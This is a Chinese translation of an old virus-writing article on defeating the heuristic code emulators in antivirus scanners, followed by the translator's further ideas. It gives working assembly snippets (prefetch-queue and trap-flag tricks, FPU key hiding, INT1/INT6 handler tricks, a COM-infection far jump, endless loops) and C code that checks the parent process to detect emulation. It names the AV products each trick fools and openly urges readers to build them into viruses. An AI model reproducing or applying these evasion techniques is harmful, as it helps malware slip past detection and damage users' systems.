对抗启发式代码仿真检测技术分析
作者:nEINEI
邮箱:[email protected]
完成于:08-05-06
来源:安全焦点
最近在研究病毒的检测技术,虽然在这个木马、流氓件猖獗的年代,检测技术(除了考虑效率因素外)已经变得不是十分重要了。但俺仍然出于兴趣想从这 里面寻找些思路。或许对抗技术的本身并不在于谁彻底打败了谁,而在于彼此间共同进步。在查阅资料中发现了这篇文章(Anti heuristic techniques author:Black Jack ),虽然是比较古老的,但还是可以从中获得很多新的思路。翻译的比较粗糙,如有不正确或不准确的地方还望大家指正,后面我会继续谈些对抗仿真技术的策略。 译文如下:
简介
在早些年的日子里,杀毒软件通过对病毒的特征码搜索是完全可以检测出病毒的。但随着病毒数量的快速增涨,反病毒研究人员发明了一些启发式的病毒检测方法, 并把它应用到工作中。代码仿真的启发式扫描器会像虚拟机一样运行程序的代码,并在此环境下检测程序是否具有病毒的相似行为。
所以在理论上,这样的启发式扫描可以发现任何一种新的病毒。但仅仅是理论上,因为代码仿真不可能达到对真实CUP的100%模拟,所以该技术并不 能毫无遗漏的检测出每一个病毒。由此可见,在VX社区中,寻找启发式引擎的缺陷和利用它们就成了我们的目标和责任。我所要谈的就是如何利用不同的手段欺骗 并愚弄这些启发式引擎,使我们最新创造的那些无形的邪恶的程序不被启发式引擎所找到及清除。
这是我认为在病毒的编程领域里最有趣的事情(因为始终是有一种伟大的感觉,那就是你比你的敌人更聪明; -) ).以下是我在过去的日子里关于这方面的研究成果。
了解你的对手
如果你想研究Anti heuristic技术,第一件事就是你需要一个具有启发式功能的扫描器来检测你编写的创作(virus),我建议你尽量多的找些这样的扫描器。因为每一 启发式的扫描器都有自己的强项及弱点。我给你一个简单的扫描器列表,我将使用这些来进行测试。
.Thunderbyte Antivirus (http://www.thunderbyte.com) 在早期,这被认为是最好的扫描器了,但现在,在vxer的眼中它已经被认是很一般的了,至少在”启发式检测”(其实仅是特定的字符串描)方面如此。但在其 它方面它附带了很多实用的扫描器(checksummer, cleaner, memory resident utilities…)。顺便说一下,每个人都会有自己喜欢的不同版本,我建议您使用7.xx这一版本。因为这个版本可以让您制定您自己的扫描方式, 这一点很重要,如果你自己不小心感染了自己的机器。
.F-prot (http://www.datafellows.com) 这个是不算太坏的,虽然还有很多更好的。有趣的是,比起现在最后的一个版本在启发式方面有了更好的改进。所有我建议您使用V2.2.8版或像我一样使用 V2.2.7版来测试你的病毒。另外有趣的特点是这款扫描器,支持使用可疑扫描的命令行参数方式执行。如果您使用它,将进入一个智能的扫描模式。基于这样 的原因,你知道开启可疑检测模式并不是必需的,如果你这样做了,你会知道你的anti-heuristic 技术实在是太好用了。
.AVP (http://www.avp.ch):在我认为最好的启发式扫描器当中,确实是难于欺骗的一个。我是用的版本是version 3.0 build 128
.NOD (http://www.eset.sk): 像AVP一样的优秀。
.Dr. Web (http://www.dials.ru): 这也是非常好的启发式扫描器,那些俄罗斯人知道如何取得更好的Anti Virus效果。
.Dr Solomon’s (http://www.drsolomon.com):从我一个在NAI工作的一个朋友那里知道,这是一款中高质量的扫描器,但它的效果仍优于mcafee。
.Ikarus Antivirus (http://www.ikarus.at):一个中等品质的扫描器,我使用它,是出于爱国的原因。
重要的思路
我的所有欺骗手段,都是基于同样的思路的:那就是病毒是加密的,我们要在扫描器能解密出病毒体前停止仿真代码的执行,或者在扫描过程中隐藏我们的加密密 钥。如果你仍然没有使用加密的方式,密钥隐藏手段也是可以使用的,在“加密”的调用方式中(例如,int 21h 中断的值),例如这样打开一个文件的操作,虽然我没有测试过这种方式。
mov ax, 3D02h ;0x3D02 是密钥
add ax, key
int 21h
1 通过指令预取反跟踪技术:
早期的处理器,像386或者486都使用了指令队列预期(PIQ)技术来提高代码执行效率。这一技术的本质是,当CPU将要执行一条指令时,它已经将该指令预先读到了CPU的cache中了。所以在此之前的修改对CPU来说已经没有影响了。让我看一个这样的例子:
mov word ptr cs:[offset piq], 20CDh
piq:
nop
nop
你应该会想到这个程序将结束运行,因为两个字节的nop 指令会被覆盖为 int 20h(译者注:int 20h 是返回DOS的指令)。但在386或486的机器上去并非如此,因为nop指令已经在cpu的cache中了。但在Pentium/Pentium II 体系的机器中运行时,指令则会被覆盖,程序执行后退出。
如果你想利用这一特性来对抗启发式检测技术的话,你就必须知道在386/486年代这是一种广泛的对抗启发式检测的手段。但是随着AVs的改进, 他们已经加入了对指令预期技术的支持。这是不是件很不可思议的事情,他们仿真的东西竟是不存于现在的处理器当中的。让我们再看看上面的例子,这是我们用来 对付他们的,在 pentium 或者更高级别的处理上面,像我所说的那样,程序会终止,因为这些处理器没有使用PIQ技术。但大部分的AVs会继续让代码执行那两个nops,因为他们要 仿真PIQ。所有这块我们这样做:
mov word ptr [offset prefetch], 06C7h
prefetch:
int 20h
dw offset decrypt_key
dw key
int 20h 指令将被覆盖,替换它的将是下面的指令
mov word ptr [decrypt_key], key
基于对PIQ的考虑,AVs将终止程序的执行。但实际上我们的程序将继续运行,在我们的加密处理函数中设置密钥。我们仅存在一个问题,那就是我们 的代码要运行在Pentiums或更高级别的处理器上面。为了使之兼容486系列或更低一些处理器,我们只需清除掉PIQ之间的两条指令。
没有什么比这更简单的了!当然,你也要知道清除所有jump类指令(jmp, call, loop, int…)之间的PIQ(这一点是必需的,如果你想这样做的话)。但是我们不能简单的处理JMP Short $+2之间的指令,对于清除PIQ来说它应该是正常被执行的,因为代码仿真器是会察觉到这一点的。
但是我们可以使用一个特殊的功能,CPU的陷阱标志。如果这个标志被置位,那么其后的任何指令执行都将触发int 1 的中断调用,记住这样会清除PIQ。这通常是在的调试状态下,1号中断向量只是简单的 IRET,所以我们可以使用没有任何问题。无论如何,执行后再次清除陷阱标志都是个很好的主意。下面展示的代码可以运行在任何处理器上(assumes DS = CS)。
pushf ;flags on the stack
pop ax ;flags from stack into AX
or ax, 100000000b ;set trap flag
push ax ;put the modified flags in AX back…
popf ;into the flag register via the stack
mov word ptr [offset prefetch], 06C7h ;modify the following instruction
prefetch: ;here gets int1 called => clears PIQ
int 20h ;This is never executed
dw offset decrypt_key ;where we want to write our key to
dw key ;the actual decryption key
pushf ;clear the trap flag again with
pop ax ;the same method as above.
xor ax, 100000000b ;will also fool some debuggers
push ax
popf
mov word ptr [offset prefetch], 20CDh ;restore the int20h (next generations)
这种方式可以骗过 AVP, Dr. Web, f-prot v3.04 (even with the /PARANOID flag),但不能通过f-prot v2.27, Nod, Ikarus and Dr. Solomon’s. f-prot v2.27 and Ikarus的检测。另一方面我们也可以欺骗”正常的“使用PIQ手段(当然你要记得,这并不能运行于现在的处理器上)。
2 通过FPU 的手段:
我非常喜欢用欺骗方式,因为相对于大多数的有效手段来说,这种方式是非常简单。它可以愚弄*ALL*所有的扫描器。你仅需要考虑的一件事情就是启 发式扫描器不能仿真浮点指令。很明显,AVs考虑的是病毒程序运行是不需要FPU指令的。好了,让我们证明他们的想法是错误的。我们将要做的是,在加密完 成后,通过浮点数来转换密钥,解密时再将它转换成整数。
; AFTER ENCRYPTION:
mov decrypt_key, key ;save key into integer variable
fild decrypt_key ;load integer key into FPU and store
fstp decrypt_float_key ;it back as floating point number
mov decrypt_key, 0 ;destroy the key (very important!)
; BEFORE DECRYPTION:
fld decrypt_float_key ;load the key as floating point number
正向我前面所说的,这一手段非常容易且极端有效,但如果你使用它,也要考虑到运行系统的要求。如果你的virus运行在没有FPU的系统上时,他将崩溃。
3 通过INT 1 的手段 :
前文已经提到,如果CPU的陷阱标志被设置,那么任何指令执行后,int 1 中断都会被调用。 我也可以通过手工的调用的int 1 中断来达到我们的目的。int 1中断的反汇编代码通常是0CDh/001h,自从有了一个专用opcode来表示int1(0F1h)中断后,这样反而是非常奇怪的,尽管这是未公开文 档化的。但是”not documented”的意思也应该是”not emulated by AVs”, ^_^ 。所有我们将这样做:我们设置一个我们自己的INT 1 中断的handler,同时调用”not doumented“ 的opcode 0F1h,返回解密密钥 。AVs 将没有办法知道解密密钥是什么。
mov ax, 3501h ;get int vector 1, so we can restore it later
int 21h ;not really necessary, but a little bit saver
mov int1_segm, es
mov int1_offs, bx
mov ax, 2501h ;set int vector 1 to our own routine
mov dx, offset int1_handler ;we assume DS=CS
int 21h
db 0F1h ;this will call our int 1 handler, which
mov decrypt_key, ax ;returns the decryption key
mov ax, 2501h ;restore the original int 1 handler
mov dx, cs:int1_offs
mov ds, cs:int1_segm
int 21h
[…]
int1_handler:
mov ax, key
iret
另外一件好笑的事是,我们可以伪造程序退出,可以这样做:
[…]
db 0F1h ;calls our int 1 handler (see above);
mov ax, 4c00h ;quit program
int 21h ;but… this code is never reached… ;-)
[…]
int1_handler:
mov bx, sp ;modify return address, so the quit command
add word ptr ss:[bx], 5 ;is never executed.
iret
这是非常有效的一种手段,在我的测试中仅F-PORT v2.27 /PARANOID 能检测出了它,尽管它只能运行在intel的CPU上。在Cyrix 或者 AMD 处理器上是不能使用这中方法的。因此你virus如果运行则将崩溃。:- (如果你想看一下的病毒情况,你可以查找我写 PR.H! virus)
4 通过INT 6 的手段:
cpu 如果发现无效指令运行则int 6h 中断总是会被调用的。这个方法非常相似于INT 1 中断的手段。我们设置一个INT 6h中断的handler,然后执行一个条我们故意使用的无效指令,同时返回解密密钥。如果我们不想陷入无穷尽的循环当中,就要修改返回时的偏移。
mov ax, 3506h ;get int vector 6, so we can restore it later
int 21h ;not really necessary, but a little bit saver
mov int6_segm, es
mov int6_offs, bx
mov ax, 2506h ;set int vector 6 to our own routine
mov dx, offset int6_handler
int 21h
dw 0FFFFh ;an invalid opcode, will call our int 6
mov decrypt_key, ax ;handler, which returns the decryption key
mov ax, 2506h ;restore the original int 6 handler
mov dx, cs:int6_offs
mov ds, cs:int6_segm
int 21h
[…]
int6_handler:
mov ax, key
mov bx, sp
add word ptr ss:[bx], 2 ;modify return address – very important!
;2 is the size of our invalid opcode.
iret
请记住,这一方式并不能工作在window系统下的dos窗口程序中,因为window会率先截获一个无效的opcode,并给出错误消息(thanks to Z0MBiE for that tip)。所以如果你想使你的DOS virus兼容window,那么不要用此方法,尽管破坏引导区的virus实在是很美妙的。
5 感染COM文件及FAR JUMP方式:
我不喜欢delta offsets方式,所有我开始尝试用far jump方式来感染com文件(当然,还是要加上些代码用来重定位的):
mov ax, cs ;Relocate far Jump
add [offset com_seg], ax
JMP SHORT $+2 ;Clear prefetch queue
db 0EAh ;OP-Code far Jump
dw offset start ;Offset
com_seg dw 0 ;Segment (length of com file in paragraphs)
;pad filesize to even paragraph!
这段代码可以非常稳定地运行,我很惊讶,这种感染方式可以阻止AVP和Tbscan的来发现文件已被感染的检测方式。如果想看全部的virus欺骗技巧,再一次提醒您,可以查找我写 PR.H!- virus。
6 初始化寄存器方式:
大多是DOS版本的系统,在程序开始时的寄存器值是下面这样的:
AX=BX=0000h (if the first/second command line parameter contain a illegal
drive letter, AL/AH are set to 0FFh)
CX=00FFh
DX=DS=ES=PSP segment address
SI=IP
DI=SP
BP=91Ch/912h depending on DOS/Windows version.
如果你知道这些,你就可以利用这些值来加密你的virus了—- 一些AVs并不能正确的仿真这些值,因为这些大部分是undocumented。例如,我是用91h(BP shr 4)来加密/解密我的病毒体,可以非常好的欺骗TBAV, DrWeb, f-prot v2.27 and Ikarus这些AVs,但是不能很好的对抗AVP和NOD。
当然除了BP你还可选择其它寄存器来做这样的事情,保存加密密钥到指向EXE头部的堆栈处指针。例如,设置正确的堆栈在程序开始或解密代码处使用DI,或 者在加密/解密处使用cx做异或操作。这些可激发你足够的想象力。但请记住,这些undocumented的技巧并在所有dos版下都一样。例 如,freedos则在程序开始时设置所有通用寄存器都为0值。如果你想使用这一技巧,就要有心里准备,你的virus崩溃在这些系统的环境中了。
因此你必选结合起来其它的欺骗方式来对抗所有AVs,正如我刚才所说的,它们不是非常强大,基于这个理由,我并不是非常喜欢这种欺骗方式,但无论如何都要感谢bfr0vrfl0为这一方式所创造的灵感。
7 ENDLESS LOOPS:
这是个很古老的手段了。它不同于这篇文章中介绍的其它技术,但当我测试时才惊讶的发现,它非常的棒,可以骗过Thunderbyte, Dr. Web and Ikarus。这一想法的出发点是,那些启发式的扫描器,仅仿真了最开始处的一些指令,然后停止,以此加快扫描速度。因此,我们可以在病毒体开始处设置一 个很长的循环,下面是一经典的模式:
mov cx, 0FFFFh
loop_head:
jmp short over_it
mov ax, 4C00h ;actually this isn’t needet, but it’s the
int 21h ;”classic” implementation of this trick.
over_it:
loop loop_head
你还可以使用不同类型的循环,或者像Opic’s Odessa-B virus那样的手法,非常长的一个解密循环。
这篇文章所公布的这些anti heuristic 技术目前为止都可以正常运行。当然AVs也可能改进它们的一些不足,在未来使这些方式失效。随时欢迎把这些技巧加入到你virus当中。使它们作为AVs 无法检测出的地狱,展示给那些愚蠢的AV看他们所谓的”保护“。(译完)
可以看出此篇文章的作者对AV产品中,初期的启发式技术研究的非常深入,目标明确,知晓启发式检测的很多弱点。怎奈时代变换,多态变形病毒已经产 量稀少,启发式技术整体上进步缓慢。上面提及的技术虽然已经不能造成多大危害,但基于代码仿真的启发式检测仍有很多个方面会受到技术上的挑战。
1 利用SEH方式:
虽然启发式的仿真器会模拟SEH异常处理,但解决这一对抗性问题却并非像实现一个SEH识别器那样简单。比如virus在解密的过程中洒下随机代码,建立 异常处理,随后迫使处理器出错,进入virus的异常处理函数,进而再跳向另一个解密引擎中执行代码。如果AV不能处理这样的异常,病毒的代码也就无从执 行,那么和谈检测呢。最大的问题就是仿真环境无法完美的处理某条指令引发的引发的特定异常。
2 慢随机执行方式:
可以利用任何程序开始执行时的随机数据来决定是否进行解密及感染,随机时间也好,日期也好都行,或者像win95下利用FS:[0ch]指向的TIB数据 (在win 9x下该处数据随机)。目的只有一个,即便被模拟运行,也无法使AV得到100%的检测率,这也是我以前曾提到过的,仿真器应该具有指令预分析的功能。
3 利用多线程:
多线程的模拟并非高不可攀,关键的难点在于线程间的同步。这一点上没什么可说,仍然是AV今后要努力解决的问题。
4 RDA 方式:
病毒体解密代码可以不知道加密时的密钥,而是通过RDA(随机解密算法)方式来获得,目的只有一个,真实环境下解密部分可以很快运行完,但仿真环境下却会很慢,暴力搜索密钥算法,可能会产生很多个大循环,以此来迫使仿真器退出执行环境。
5 EOP 方式:
仿真器不会很有耐心地执行完程序的每一条指令,只要你的病毒所在宿主程序入口点足够的靠后,那你就胜利了一半,仿真器会因失去耐心而丢下你不管 的。此时我想到了ExitProcess,聪明的你肯定明白了接下来将要干什么了,当然,当你知道这样做的时候,AV已经开始行动了,但关键是我们已经找 到了一种对抗的思路了。
6 分析执行逻辑方式:
这一点是从xyzreg那里学到的,考虑到程序真实的运行与仿真环境的差别,也就知道如何对抗了。指令预取反跟踪也属于这一思路的范畴。下面是xyzreg给出的代码:
DWORD fpid,epid;
void VMM()
{
PROCESSENTRY32 pe;
HANDLE hkz=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if (Process32First(hkz,&pe))
{
do
{
if (pe.th32ProcessID==GetCurrentProcessId())
{
fpid=pe.th32ParentProcessID;
}
if (stricmp(pe.szExeFile,”explorer.exe”)==0)
{
epid=pe.th32ProcessID;
}
}
while(Process32Next(hkz,&pe));
}
}
void main()
{
if(fpid!=epid)
return 0;
}
即便是一向作风严谨AVP也会有此疏漏,且在仿真的执行环境中与正常执行相悖的逻辑还有很多处,如GetModuleFileName。所以仿真的启发式检测远没有达到十分完善的地步。
还有一些对抗技巧如利用MMX指令或利用API传递控制等,但因这些技巧本身不会对启发式检测构成绝对威胁此处不再一一举例。启发是虽是对抗 virus的利器,但我更感觉越是复杂高级的检测技术反而越加脆弱,脆弱的原因就是太过于复杂,所谓智者千虑必有一失吧。在没有加密、多态病毒出现前,特 征匹配技术对待病毒可谓一剑封喉。或许越是简单的技术越是无懈可击。一次偶然间发现NOD可以仅用高级侦测模式,检测出被感染的文件,并精确的给出病毒 名。或许启发式检测加适量的特征应该是对抗virus的最好武器吧。
附参考文献:
[1] Black Jack . 《Anti heuristic techniques》原文出处 http://vx.netlux.org/lib/vbj01.html
[2] Peter Szor . 《The Art of Computer Virus Research and Defense 》
[3] xyzreg. 《可怜的高级虚拟机启发式查毒》www.xyzreg.net/blog/read.php?39